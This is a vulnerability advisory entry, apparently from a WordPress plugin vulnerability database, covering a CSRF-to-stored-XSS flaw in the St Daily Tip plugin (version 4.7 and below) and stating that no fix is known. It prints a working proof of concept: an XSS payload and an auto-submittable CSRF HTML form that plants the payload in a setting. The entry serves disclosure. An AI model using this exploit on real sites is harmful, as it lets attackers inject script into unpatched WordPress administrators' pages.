WordPress Plugin Vulnerabilities

St Daily Tip <= 4.7 - CSRF to Stored Cross-Site Scripting

Description

The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue

Proof of Concept

Add the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: "><img src onerror=confirm(/XSS/)>

Via CSRF:

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=daily-tip" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="default_tip" value='"><img src onerror=confirm(/XSS/)>' />
      <input type="hidden" name="default_text" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Akash Rajendra Patil
Submitter
Akash Rajendra Patil
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-09-21 (about 2 years ago)
Added
2021-09-21 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

Other